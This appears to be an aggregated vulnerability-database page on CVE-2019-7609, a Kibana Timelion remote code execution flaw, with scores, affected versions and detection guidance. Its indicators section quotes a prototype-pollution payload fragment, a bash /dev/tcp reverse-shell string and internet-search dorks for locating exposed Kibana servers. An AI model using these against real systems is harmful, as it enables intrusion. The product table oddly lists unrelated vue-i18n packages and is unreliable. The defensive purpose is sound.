cbcvebase.
CVE-2019-7609
published 2019-03-25

CVE-2019-7609: Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion…

PriorityP195critical10CVSS 3.1
AVNACLPRNUINSCCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-07-10
Exploited in the wild
EPSS
95.34%
99.9th percentile
Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

Affected

11 ranges
VendorProductVersion rangeFixed in
elastickibana< 5.6.155.6.15
elastickibana
elastickibana>= 6.0.0 < 6.6.16.6.1
intlifyshared>= 10.0.0 < 10.0.510.0.5
intlifyshared>= 9.7.0 < 9.14.29.14.2
intlifyvue-i18n>= 10.0.0 < 10.0.510.0.5
intlifyvue-i18n>= 9.7.0 < 9.14.29.14.2
intlifyvue-i18n-core>= 10.0.0 < 10.0.510.0.5
intlifyvue-i18n-core>= 9.7.0 < 9.14.29.14.2
redhatopenshift_container_platform
redhatopenshift_container_platform

Detection & IOCsextracted from sources · hover to see the quote

url/api/timelion/run
command.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
command& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//
path/proc/self/environ
other{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}
  • Detect exploitation attempts by monitoring POST requests to /api/timelion/run containing prototype pollution payloads referencing __proto__ or NODE_OPTIONS in the request body.
  • Look for the string 'seriesList' in HTTP response bodies from /api/timelion/run as a confirmation indicator that the Timelion endpoint is active and responding.
  • Monitor for NODE_OPTIONS environment variable manipulation (e.g., '--require /proc/self/environ') in process environments spawned by the Kibana process, which is the core gadget used in exploitation.
  • Alert on outbound /dev/tcp connections or reverse shell activity originating from the Kibana process, as the PoC exploit establishes a reverse shell via bash /dev/tcp.
  • Use Shodan/FOFA/Google dorks to identify exposed Kibana instances: shodan-query 'http.title:"kibana"', fofa-query 'title="kibana"', google-query 'intitle:"kibana"'.
  • The Metasploit module targets Kibana versions 3.0–5.6.14 and 6.0.0–6.6.0; detection should flag these version strings in HTTP response headers or banner grabs.
  • ·If upgrading Kibana is not immediately feasible, disable the Timelion visualizer by setting 'timelion.enabled' to false in kibana.yml to eliminate the attack surface.
  • ·The Metasploit WFSDELAY parameter is critical: too high causes many shells (50–100+), too low causes no shells; tuning is required per target environment.
  • ·Exploitation requires a service or system reboot to restore normal Kibana operation after the prototype pollution attack.

CVSS provenance

nvdv3.110.0CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck10.0CRITICAL
cisa10.0CRITICAL
vendor_redhat10.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.